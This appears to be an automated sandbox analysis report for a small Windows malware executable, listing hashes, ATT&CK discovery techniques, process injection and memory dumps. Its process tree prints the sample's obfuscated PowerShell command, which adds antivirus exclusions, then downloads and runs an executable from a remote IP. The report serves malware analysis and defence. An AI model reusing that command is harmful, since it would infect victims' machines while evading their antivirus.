3fcf13982c7b543af58f22f18d77b370f2871eec5f8be3838588189ec528afad

Analysis

max time kernel
149s
max time network
155s
platform
windows10-2004_x64
resource
win10v2004-20240419-en
resource tags

arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
submitted
02-05-2024 01:18

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General

Target

3fcf13982c7b543af58f22f18d77b370f2871eec5f8be3838588189ec528afad.exe
Size

6KB
MD5

a79bbca37e4d87e9bd35a6d4f4730250
SHA1

38e7ddeb8f9e7fe8f56a9a43b012d6d5318f7e48
SHA256

3fcf13982c7b543af58f22f18d77b370f2871eec5f8be3838588189ec528afad
SHA512

fac3c4afeed70e78e3162576716c1055616353e109fcbdc06200239dc4c7d28762ef0ee40dac1d2faa1394903f36209c6f49e12a73533d7b733433401d01ab64
SSDEEP

96:20acCYDSB79X4b60qvjnMDOeI3VIJ5NwC7eAYz0evk+P/Zz44f3szd3ojZrl:2PYDk90qvjsI3mNwCnYPvk+ZPf8zde

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
6	4176	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-17203666-93769886-2545153620-1000\Control Panel\International\Geo\Nation	3fcf13982c7b543af58f22f18d77b370f2871eec5f8be3838588189ec528afad.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4176	powershell.exe
4176	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4176	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3356 wrote to memory of 4176	3356	3fcf13982c7b543af58f22f18d77b370f2871eec5f8be3838588189ec528afad.exe	83
PID 3356 wrote to memory of 4176	3356	3fcf13982c7b543af58f22f18d77b370f2871eec5f8be3838588189ec528afad.exe	83

C:\Users\Admin\AppData\Local\Temp\3fcf13982c7b543af58f22f18d77b370f2871eec5f8be3838588189ec528afad.exe
"C:\Users\Admin\AppData\Local\Temp\3fcf13982c7b543af58f22f18d77b370f2871eec5f8be3838588189ec528afad.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3356
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAZABtACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYQBkAGoAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAeQB6AHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAcgBlAGgAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwA5ADMALgAxADIAMwAuADgANQAuADEAMAA4AC8AVgBFAE4ATwBBAEEALgBlAHgAZQAnACwAIAA8ACMAYgBlAHIAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBwAGMAdwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBwAGQAcQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBWAEUATgBPAEEAQQAuAGUAeABlACcAKQApADwAIwB2AGEAcQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBoAG4AZAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAaABwAGUAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAVgBFAE4ATwBBAEEALgBlAHgAZQAnACkAPAAjAG4AaQBiACMAPgA="
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4176

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zgqkhprw.mpp.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3356-0-0x00007FFF58F13000-0x00007FFF58F15000-memory.dmp

Filesize
8KB

Download
memory/3356-1-0x0000000000950000-0x0000000000958000-memory.dmp

Filesize
32KB

Download
memory/4176-3-0x000001E4B7970000-0x000001E4B7992000-memory.dmp

Filesize
136KB

Download
memory/4176-13-0x00007FFF58F10000-0x00007FFF599D1000-memory.dmp

Filesize
10.8MB

Download
memory/4176-14-0x00007FFF58F10000-0x00007FFF599D1000-memory.dmp

Filesize
10.8MB

Download
memory/4176-15-0x00007FFF58F10000-0x00007FFF599D1000-memory.dmp

Filesize
10.8MB

Download
memory/4176-16-0x00007FFF58F10000-0x00007FFF599D1000-memory.dmp

Filesize
10.8MB

Download
memory/4176-19-0x00007FFF58F10000-0x00007FFF599D1000-memory.dmp

Filesize
10.8MB

Download